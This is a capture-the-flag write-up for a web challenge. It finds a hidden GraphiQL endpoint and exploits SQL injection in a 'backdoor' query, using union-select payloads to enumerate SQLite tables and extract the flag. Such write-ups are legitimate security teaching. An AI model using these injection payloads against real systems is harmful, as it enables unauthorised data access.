In this task we are given [a link](http://challenges.ctfd.io:30100/) to some
website. If we open it, we will see a static page with just one link:

![](http://sergyperov.ru/media/ctf/writeups/batpwn-gonedev/1.png)

If we click on this link, we will go to the new page, which will basically be
a web application:

![](http://sergyperov.ru/media/ctf/writeups/batpwn-gonedev/2a.png)

In the help resources we see two links: «Learn Grepping» and «Learn about
GraphQL». By this we can guess that task is somehow connected with GraphQL
technology. When we search all the loaded javascript source files of the
application for «graphql» (via «Network» tab, for example), we will eventually
find this peace of code:

```  
this.graphql_url = "/gqlsecretpathhuehuehuehue"  
```

This leads us to espciall url
`http://challenges.ctfd.io:30100/gqlsecretpathhuehuehuehue` containing
[GrpahiQL](https://github.com/graphql/graphiql), the GraphQL IDE where we can
perform different queries:

![](http://sergyperov.ru/media/ctf/writeups/batpwn-gonedev/3.png)

On the left you can write a query and on the right you can see the result. In
the `Docs` section we can see a message from an ex-developer which states that
there is a special function called `backdoor` wich takes two arguments (id and
hash). And we a also given an example parameters:

```  
id: "2", hash: "c81e728d9d4c2f636f067f89cc14862c"  
```

Let's build a simple query to a `backdoor`:

```  
query {  
backdoor(  
id: "2",  
hash: "c81e728d9d4c2f636f067f89cc14862c"  
)  
}  
```

In the response we will see the name of an employee:

```  
"data": {  
"backdoor": "Roy"  
}  
```

If we google tha hash `c81e728d9d4c2f636f067f89cc14862c`, we will quickly find
that it is an md5 for `2`. So we can build the same kind of query for user
with `id: "3"` with corresponding md5 hash:

```  
query {  
backdoor(  
id: "3",  
hash: "eccbc87e4b5ce2fe28308fd9f2a7baf3"  
)  
}  
```

results in:

```  
{  
"data": {  
"backdoor": "Tracy"  
}  
}  
```

*(where "eccbc87e4b5ce2fe28308fd9f2a7baf3" is an md5 hash for "3")*

Now let's try the simplest SQL injection payload:  
```  
query {  
backdoor(  
id: "'",  
hash:"3590cb8af0bbb9e78c343b52b93773c9"  
)  
}  
```

And we some interesting result:

```  
{  
"errors": [  
{  
"message": "(sqlite3.OperationalError) unrecognized token: \"'''\"\n[SQL:
SELECT name FROM `employee` WHERE id=''']\n(Background on this error at:
http://sqlalche.me/e/e3q8)",  
"locations": [  
{  
"line": 2,  
"column": 3  
}  
],  
"path": [  
"backdoor"  
]  
}  
],  
"data": {  
"backdoor": null  
}  
}  
```

From this we obtain two facts:

1\. `backdoor` function is voulnerable to SQL injections  
2\. SQLite3 database is used

So we can pass some payload to retieve information in the response
`"backdoor"` field, e.g.:

```  
query {  
backdoor(  
id: "' UNION SELECT 'injection!' --",  
hash:"bd79bdabd1a61dd2ea75f2fb04af9ed4"  
)  
}  
```

will give us result:

```  
{  
"data": {  
"backdoor": "injection!"  
}  
}  
```

__NOTE: from this moment I will only provide "id" field of the request and
"backdoor" field of the result to shorten the writeup__

First, we need to know information about the schema of the database. In the
SQLite database, there is a special system table `sqlite_master`, which
contains information about all existing tables in the database:

Payload `' union select tbl_name FROM sqlite_master; --` returns us
`department`. So `department` is one if the tables in the database.

Let's check next tables: `' union select tbl_name FROM sqlite_master LIMIT
1,1; --` returns `employee` and finally `' union select tbl_name FROM
sqlite_master LIMIT 1,2; --` returns `flag_random_name`. That looks like an
interesting table name.

Let's see this table's structure: `' union select sql FROM sqlite_master LIMIT
2,1; --` returns `CREATE TABLE flag_random_name (\n\tid INTEGER NOT NULL,
\n\tflag VARCHAR, \n\tPRIMARY KEY (id)\n)`.

So, we definitly need to query a `flag` column in the `flag_random_name`
table. Let's do this: `' union select flag FROM flag_random_name WHERE flag
LIKE 'batpwn{%'; --` finally returns the flag. Here we add `LIKE` operator
because we know the structure of the flag (is should start with `batpwn{`) and
we don't want to look through all the records in the `flag_random_name` table.